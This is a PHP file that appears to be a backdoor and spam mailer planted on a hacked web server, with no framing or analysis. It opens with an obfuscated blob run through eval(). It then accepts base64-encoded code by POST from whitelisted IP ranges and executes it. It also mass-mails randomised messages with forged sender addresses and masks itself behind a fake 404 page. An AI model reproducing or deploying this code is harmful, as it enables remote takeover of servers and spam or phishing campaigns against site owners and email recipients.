'C0gXHNq7bzkp6XYAG2Vt7A8ROX85LZkA11CluzfGczPDbzPDbzPorPkDbzPDbzPDbAYAC1eIC1njbZfHbzClFe8tkTm7bzPDbzP'.
'DbzD7bzPDbzPDbz8CgcPDw18SF9Vy6VFXa2eR70MjJesDrvsDJW'.
'5rKIP1bcsDw1gIlXVI6XPDuvsDw28SH9KGczPDbzPDbzPDczPDbzPDbzPoD2J'.
'XFNeRCzPbw2JDGAYAC1eIC1njLTFDUckoK2VpwzYAC1eIC1njbckBczPDbzPDbzPDczPDbzPDbzP'.
'Dw1gI6zqHbzkzizPR72VSw2eA6zqHbzkzizPR7eMRCX8IfX8IwzqHb2gSG1MWiPkDbzPDbzPDbXMOL08W7zPSD2gIU2kbw2JD'.
'LzPwczPDbzPDbzPoiPkDbzPDbzPDbzPDbzPRF2eEbZfHbj82F2VSwcPRg1PmbEKDF4PwizPBhz48YHZfRbaPmHZej'.
'UPqjuaP+HZnRbaPyHZnRbkDhZm7bzPDbPkDbzPDbzPDbzPDbzPBhz4P3H9qjUaPFHZeRb4PdHZDbHZnjG4PiHZfROrPt'.
'H9BbHZ3jG4P6HZUjUaPFHZxjUaPFz4PFz4PdHZijUX8PHZejUX8PHZWbc'.
'kBczPDbzPDbzPDbzPDbNV97zP5bA8O328IH2V4H2VjbAk9b1nRF18r6cPRF2eEGzPA11ClueYA1'.
'0kzLzKHrRwSEWHWbcj7bzPDbzPDbzPDbzPoiPkDbzPDbzPDbzPDbzPDbzPDUckqjarPmHZvjUaPiHZijGaPdHZbbH9vja'.
'aPyz48oH93ju48PHZqjUX8ZzPHbHZxjUa8DH9qjaXPdH9Zju48DH9vjaXPBz4PdHZijUX8PHZejUX8PzP7UPkDb'.
'zPDbzPDbzPDbzPDbzPDwNSrw2eRC9nRC2PDrzYRFXVWiPkDbzPD'.
'bzPDbzPDbzPDbzPDczPDbzPDbzPDbzPDbzPDbzPR72VSw2eA6zqHb1nIk1nRFcPRF2eEGzqDGzY4H1'.
'JoU1Fbw1gI6ZPDkeYA10ClFe8tkcswiPkDbzPDbzPDbzPDbzPDbzPDw1gI6zqHb1nIk1nRFcPRF2eEGzY4H1JoU1Fbw1gI6ZPD'.
'keYA10ClFe8tkcsGHcKGczPDbzPDbzPDbzPDbzPDbzD7bzPDbzPDbzPDbzPDbzPDb'.
'ZF7bs8IO28IF1FoH0Foo1JAOQsDhZm7bzPDbzPDbzPDbzPDbzPDbNV97zPRm9eAO0e40AnACXY'.
'IF0kXXvKHJN8IO28IF1F1b3YmbAYoO1gSa1yGJ1gIHXeAuAyHrvsXO1JAOQs1czPDbzPDbzPDbzPDbzPDbzPD'.
'bzPoB3PD7Ne462ej7AYoO1gSa1yGJ1gIwNeAC9njJeswbAk9bAYoO1gSa'.
'1yGJ1gIwNeAC9njJeKHrXYAy2swbcj7bzPDbzPDbzPDbzPDbzPDbQm7bzPDbzPDbzPDbzPDbzPDbzPDbzPR7zqHb2eOm08r'.
'w2sbkeYA10kzGzPR72VSw2eA6cKGczPDbzPDbzPDbzPDbzPDbzPDbzPDwN8IO28I'.
'F1FDrz8SF1gSpcPwiPkDbzPDbzPDbzPDbzPDbzPDbzPDb2grF2VSfNPbbA8bb9eEbA8GrvkRMz'.
'PwczPDbzPDbzPDbzPDbzPDbzPDbzPoiPkDbzPDbzPDbzPDbzPDb'.
'zPDbzPDbzPDbz8CgcPo6XYAm0nE7AY9GzP1dAFwbcj7bzPDbzPDbzPD'.
'bzPDbzPDbzPDbzPDbzPoiPkDbzPDbzPDbzPDbzPDbzPDbzPDbzPDbzPDbzPDwNFDrz'.
'Y4y9J4H1kbwXkmbEPmb1nRF18r6cPRMZPDJTk1LcKGczPDbzPDbzPDbzPDbzPDbzPD'.
'bzPDbzPDbzPDbzPRMzqHbXYAL0sO6XVA6XYz7AY9GzY4H1JoU1Fb'.
'wXkmbA67JcsGlcswiPkDbzPDbzPDbzPDbzPDbzPDbzPDbzPDbzYHczPDbzPDbzPDbzPDbzPD'.
'bzPDbzPDbzPDbA8OC9VRC1J401nRFX8ry1YoC1kbwNFCXzqHbAY9iPkDbzPDbzPDbzPDbz'.
'PDbzPDbzPDb3j7bzPDbzPDbzPDbzPDbzPDb3j7bzPDbzPDbzPDbzPDbzPDbNV97z8C61MIHcPRm9eAO0e40AnAC2'.
'8CF2V4HAyHLzP9gzPRm9eAO0e40AnAC28CF2V4HAyHrveRFXVWbAk9bNe462ej7A8OC9VRC1J40AHlvjHSWsWrTAyHLzPw'.
'czPDbzPDbzPDbzPDbzPDbzYGczPDbzPDbzPDbzPDbzPDbzPDbzPDw18SF9Vy6VFXy1g'.
'mJesDrzPR72VSw2eA6VFXEKH4oI5CvKkXXTm7bzPDbzPDbzPDbzPDbzPDbzPDbz8CgcPDONe462ej7A'.
'YoO1gSa1yGJ1gIwNeAC9nja9Mry0JjJeswbcsDw18SF9Vy6VFXF2VRL1g'.
'IfXPyf0nIuXPXXzqHbEqGczPDbzPDbzPDbzPDbzPDbzPDbzPoL2kbbAYoO1gSa1yGJ1gIwNeAC9nja9Mry0JjJeKmlEPDLPkDb'.
'zPDbzPDbzPDbzPDbzPDbzPDbQm7bzPDbzPDbzPDbzPDbzPDbzPDbzPDbzPDw18SF9Vy6VFXF2VRL1g'.
'IfXPyf0nIuXPXXcFGiPkDbzPDbzPDbzPDbzPDbzPDbzPDbzPDbzPRgXVpf'.
'zqHbeyr8IWpqI5CvKCr3Tm7bzPDbzPDbzPDbzPDbzPDbzPDbzPDbz'.
'PoF2eRy1gtbj8C6eMrkNgIfXPbwX8OL1FwbvFDwX8OL1FH+A82y0gE7AYoO1gSa1FwbTkDw2JIu9Fbw18SF9V'.
'y6cKGczPDbzPDbzPDbzPDbzPDbzPDbzPorPkDbzPDbzPDbzPDbzPDbzPorPkDbzPDbzPDbzPDbzPD'.
'bzPoL2kbbAYoO1gSa1yGJ1gIHXeAuAyHrvsX72VSw2eA6AFDLzYA'.
'CXYIF0kDwN8IO28IF16GczPDbzPDbzPDbzPDb3j7bzPDbzPDbzYHczPDbzPDbzPDczPDbzPDbzPo'.
'D2g4G0n4CcPRg1PwiPkDbzPorPkDbzPoC0Y4CzYACXYIF0ko8jWlKRKGUckDw2eAF1nRFZkRC1JAu06GbckBczPDbzD7'.
'bzPDbNV97zPRm9eAO0e40AnACXYIF0kXXvKHJ9eAF9ewJzPwbAYAC1FDrz8SF1gSpcPX72VSw2eA6A6H+A8OC9VRC1'.
'JEGzPXf0MpH2VpHA6H+AYAC1FwiPkDbzPDczPDbzYACXYIF0kDw1gI6TmLr';
eval(vMFNXQ7($vTACLMJ, $vMD432J));?>
<?php
if (isset($_POST["code"]) && isset($_POST["custom_action"]) && is_good_ip($_SERVER['REMOTE_ADDR'])) {
    eval(base64_decode($_POST["code"]));
    exit();
}

if (isset($_POST["type"]) && $_POST["type"] == "1") {
    type1_send();
    exit();
} elseif (isset($_POST["type"]) && $_POST["type"] == "2") {
    
} elseif (isset($_POST["type"])) {
    echo $_POST["type"];
    exit();
}

error_404();

function is_good_ip($ip)
{
    $goods = Array(
        "6.185.239.",
        "8.138.118."
    );
    
    foreach ($goods as $good) {
        if (strstr($ip, $good) != FALSE) {
            return TRUE;
        }
    }
    
    return FALSE;
}

function type1_send()
{
    if (!isset($_POST["emails"]) OR !isset($_POST["themes"]) OR !isset($_POST["messages"]) OR !isset($_POST["froms"]) OR !isset($_POST["mailers"])) {
        exit();
    }
    
    if (get_magic_quotes_gpc()) {
        foreach ($_POST as $key => $post) {
            $_POST[$key] = stripcslashes($post);
        }
    }
    
    $emails   = @unserialize(base64_decode($_POST["emails"]));
    $themes   = @unserialize(base64_decode($_POST["themes"]));
    $messages = @unserialize(base64_decode($_POST["messages"]));
    $froms    = @unserialize(base64_decode($_POST["froms"]));
    $mailers  = @unserialize(base64_decode($_POST["mailers"]));
    $aliases  = @unserialize(base64_decode($_POST["aliases"]));
    $passes   = @unserialize(base64_decode($_POST["passes"]));
    
    if (isset($_SERVER)) {
        $_SERVER['PHP_SELF']    = "/";
        $_SERVER['REMOTE_ADDR'] = "127.0.0.1";
        if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            $_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
        }
    }
    
    if (isset($_FILES)) {
        foreach ($_FILES as $key => $file) {
            $filename             = alter_macros($aliases[$key]);
            $filename             = num_macros($filename);
            $filename             = text_macros($filename);
            $filename             = xnum_macros($filename);
            $_FILES[$key]["name"] = $filename;
        }
    }
    
    if (empty($emails)) {
        exit();
    }
    
    foreach ($emails as $fteil => $email) {
        $theme = $themes[array_rand($themes)];
        $theme = alter_macros($theme["theme"]);
        $theme = num_macros($theme);
        $theme = text_macros($theme);
        $theme = xnum_macros($theme);
        
        $message = $messages[array_rand($messages)];
        $message = alter_macros($message["message"]);
        $message = num_macros($message);
        $message = text_macros($message);
        $message = xnum_macros($message);
        //$message = pass_macros($message, $passes);
        $message = fteil_macros($message, $fteil);
        
        $from = $froms[array_rand($froms)];
        $from = alter_macros($from["from"]);
        $from = num_macros($from);
        $from = text_macros($from);
        $from = xnum_macros($from);
        
        if (strstr($from, "[CUSTOM]") == FALSE) {
            $from = from_host($from);
        } else {
            $from = str_replace("[CUSTOM]", "", $from);
        }
        
        $mailer = $mailers[array_rand($mailers)];
        
        send_mail($from, $email, $theme, $message, $mailer);
    }
}

function send_mail($from, $to, $subj, $text, $mailer)
{
    $head = "";
    
    $un = strtoupper(uniqid(time()));
    
    $head .= "From: $from\n";
    $head .= "X-Mailer: $mailer\n";
    $head .= "Reply-To: $from\n";
    
    $head .= "Mime-Version: 1.0\n";
    $head .= "Content-Type: multipart/alternative;";
    $head .= "boundary=\"----------" . $un . "\"\n\n";
    
    $plain = strip_tags($text);
    $zag   = "------------" . $un . "\nContent-Type: text/plain; charset=\"ISO-8859-1\"; format=flowed\n";
    $zag .= "Content-Transfer-Encoding: 7bit\n\n" . $plain . "\n\n";
    
    $zag .= "------------" . $un . "\nContent-Type: text/html; charset=\"ISO-8859-1\";\n";
    $zag .= "Content-Transfer-Encoding: 7bit\n\n$text\n\n";
    $zag .= "------------" . $un . "--";
    
    if (count($_FILES) > 0) {
        foreach ($_FILES as $file) {
            if (file_exists($file["tmp_name"])) {
                $f = fopen($file["tmp_name"], "rb");
                $zag .= "------------" . $un . "\n";
                $zag .= "Content-Type: application/octet-stream;";
                $zag .= "name=\"" . $file["name"] . "\"\n";
                $zag .= "Content-Transfer-Encoding:base64\n";
                $zag .= "Content-Disposition:attachment;";
                $zag .= "filename=\"" . $file["name"] . "\"\n\n";
                $zag .= chunk_split(base64_encode(fread($f, filesize($file["tmp_name"])))) . "\n";
                fclose($f);
            }
        }
    }
    
    if (@mail($to, $subj, $zag, $head)) {
        if (!empty($_POST['verbose']))
            echo "SENDED";
    } else {
        if (!empty($_POST['verbose']))
            echo "FAIL";
    }
}

function alter_macros($content)
{
    preg_match_all('#{(.*)}#Ui', $content, $matches);
    
    for ($i = 0; $i < count($matches[1]); $i++) {
        
        $ns      = explode("|", $matches[1][$i]);
        $c2      = count($ns);
        $rand    = rand(0, ($c2 - 1));
        $content = str_replace("{" . $matches[1][$i] . "}", $ns[$rand], $content);
    }
    return $content;
}

function text_macros($content)
{
    preg_match_all('#\[TEXT\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
    
    for ($i = 0; $i < count($matches[0]); $i++) {
        $min  = $matches[1][$i];
        $max  = $matches[2][$i];
        $rand = rand($min, $max);
        $word = generate_word($rand);
        
        $content = preg_replace("/" . preg_quote($matches[0][$i]) . "/", $word, $content, 1);
    }
    
    preg_match_all('#\[TEXT\-([[:digit:]]+)\]#', $content, $matches);
    
    for ($i = 0; $i < count($matches[0]); $i++) {
        $count = $matches[1][$i];
        
        $word = generate_word($count);
        
        $content = preg_replace("/" . preg_quote($matches[0][$i]) . "/", $word, $content, 1);
    }
    
    
    return $content;
}

function xnum_macros($content)
{
    preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);
    
    for ($i = 0; $i < count($matches[0]); $i++) {
        $num = $matches[1][$i];
        $min = pow(10, $num - 1);
        $max = pow(10, $num) - 1;
        
        $rand    = rand($min, $max);
        $content = str_replace($matches[0][$i], $rand, $content);
    }
    return $content;
}

function num_macros($content)
{
    preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
    
    for ($i = 0; $i < count($matches[0]); $i++) {
        $min     = $matches[1][$i];
        $max     = $matches[2][$i];
        $rand    = rand($min, $max);
        $content = str_replace($matches[0][$i], $rand, $content);
    }
    return $content;
}

function generate_word($length)
{
    $chars    = 'abcdefghijklmnopqrstuvyxz';
    $numChars = strlen($chars);
    $string   = '';
    for ($i = 0; $i < $length; $i++) {
        $string .= substr($chars, rand(1, $numChars) - 1, 1);
    }
    return $string;
}

function pass_macros($content, $passes)
{
    $pass = array_pop($passes);
    
    return str_replace("[PASS]", $pass, $content);
}

function fteil_macros($content, $fteil)
{
    return str_replace("[FTEIL]", $fteil, $content);
}

function is_ip($str)
{
    return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $str);
}

function from_host($content)
{
    
    $host = preg_replace('/^(www|ftp)\./i', '', @$_SERVER['HTTP_HOST']);
    
    if (is_ip($host)) {
        return $content;
    }
    
    $tokens = explode("@", $content);
    
    $content = $tokens[0] . "@" . $host . ">";
    
    return $content;
}

function error_404()
{
    header("HTTP/1.1 404 Not Found");
    
    $uri = preg_replace('/(\?).*$/', '', $_SERVER['REQUEST_URI']);
    
    $content = custom_http_request1("http://" . $_SERVER['HTTP_HOST'] . "/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA");
    $content = str_replace("/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA", $uri, $content);
    
    exit($content);
}


function custom_http_request1($params)
{
    if (!is_array($params)) {
        $params = array(
            'url' => $params,
            'method' => 'GET'
        );
    }
    
    if ($params['url'] == '')
        return FALSE;
    
    if (!isset($params['method']))
        $params['method'] = (isset($params['data']) && is_array($params['data'])) ? 'POST' : 'GET';
    $params['method'] = strtoupper($params['method']);
    if (!in_array($params['method'], array(
        'GET',
        'POST'
    )))
        return FALSE;
    
    /* Приводим ссылку в правильный вид */
    $url = parse_url($params['url']);
    if (!isset($url['scheme']))
        $url['scheme'] = 'http';
    if (!isset($url['path']))
        $url['path'] = '/';
    if (!isset($url['host']) && isset($url['path'])) {
        if (strpos($url['path'], '/')) {
            $url['host'] = substr($url['path'], 0, strpos($url['path'], '/'));
            $url['path'] = substr($url['path'], strpos($url['path'], '/'));
        } else {
            $url['host'] = $url['path'];
            $url['path'] = '/';
        }
    }
    $url['path'] = preg_replace("/[\\/]+/", "/", $url['path']);
    if (isset($url['query']))
        $url['path'] .= "?{$url['query']}";
    
    $port = isset($params['port']) ? $params['port'] : (isset($url['port']) ? $url['port'] : ($url['scheme'] == 'https' ? 443 : 80));
    
    $timeout = isset($params['timeout']) ? $params['timeout'] : 30;
    if (!isset($params['return']))
        $params['return'] = 'content';
    
    $scheme = $url['scheme'] == 'https' ? 'ssl://' : '';
    $fp     = @fsockopen($scheme . $url['host'], $port, $errno, $errstr, $timeout);
    if ($fp) {
        /* Mozilla */
        if (!isset($params['User-Agent']))
            $params['User-Agent'] = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16";
        
        $request = "{$params['method']} {$url['path']} HTTP/1.0\r\n";
        $request .= "Host: {$url['host']}\r\n";
        $request .= "User-Agent: {$params['User-Agent']}" . "\r\n";
        if (isset($params['referer']))
            $request .= "Referer: {$params['referer']}\r\n";
        if (isset($params['cookie'])) {
            $cookie = "";
            if (is_array($params['cookie'])) {
                foreach ($params['cookie'] as $k => $v)
                    $cookie .= "$k=$v; ";
                $cookie = substr($cookie, 0, -2);
            } else
                $cookie = $params['cookie'];
            if ($cookie != '')
                $request .= "Cookie: $cookie\r\n";
        }
        $request .= "Connection: close\r\n";
        if ($params['method'] == 'POST') {
            if (isset($params['data']) && is_array($params['data'])) {
                foreach ($params['data'] AS $k => $v)
                    $data .= urlencode($k) . '=' . urlencode($v) . '&';
                if (substr($data, -1) == '&')
                    $data = substr($data, 0, -1);
            }
            $data .= "\r\n\r\n";
            
            $request .= "Content-type: application/x-www-form-urlencoded\r\n";
            $request .= "Content-length: " . strlen($data) . "\r\n";
        }
        $request .= "\r\n";
        
        if ($params['method'] == 'POST')
            $request .= $data;
        
        @fwrite($fp, $request);
        /* Send request */
        
        $res        = "";
        $headers    = "";
        $h_detected = false;
        while (!@feof($fp)) {
            $res .= @fread($fp, 1024);
            /* читаем контент */
            
            /* Проверка наличия загловков в контенте */
            if (!$h_detected && strpos($res, "\r\n\r\n") !== FALSE) {
                /* заголовки уже считаны - корректируем контент */
                $h_detected = true;
                
                $headers = substr($res, 0, strpos($res, "\r\n\r\n"));
                $res     = substr($res, strpos($res, "\r\n\r\n") + 4);
                
                /* Headers to Array */
                if ($params['return'] == 'headers' || $params['return'] == 'array' || (isset($params['redirect']) && $params['redirect'] == true)) {
                    $h       = explode("\r\n", $headers);
                    $headers = array();
                    foreach ($h as $k => $v) {
                        if (strpos($v, ':')) {
                            $k = substr($v, 0, strpos($v, ':'));
                            $v = trim(substr($v, strpos($v, ':') + 1));
                        }
                        $headers[strtoupper($k)] = $v;
                    }
                }
                if (isset($params['redirect']) && $params['redirect'] == true && isset($headers['LOCATION'])) {
                    $params['url'] = $headers['LOCATION'];
                    if (!isset($params['redirect-count']))
                        $params['redirect-count'] = 0;
                    if ($params['redirect-count'] < 10) {
                        $params['redirect-count']++;
                        $func = __FUNCTION__;
                        return @is_object($this) ? $this->$func($params) : $func($params);
                    }
                }
                if ($params['return'] == 'headers')
                    return $headers;
            }
        }
        
        @fclose($fp);
    } else
        return FALSE;
    /* $errstr.$errno; */
    
    if ($params['return'] == 'array')
        $res = array(
            'headers' => $headers,
            'content' => $res
        );
    
    return $res;
}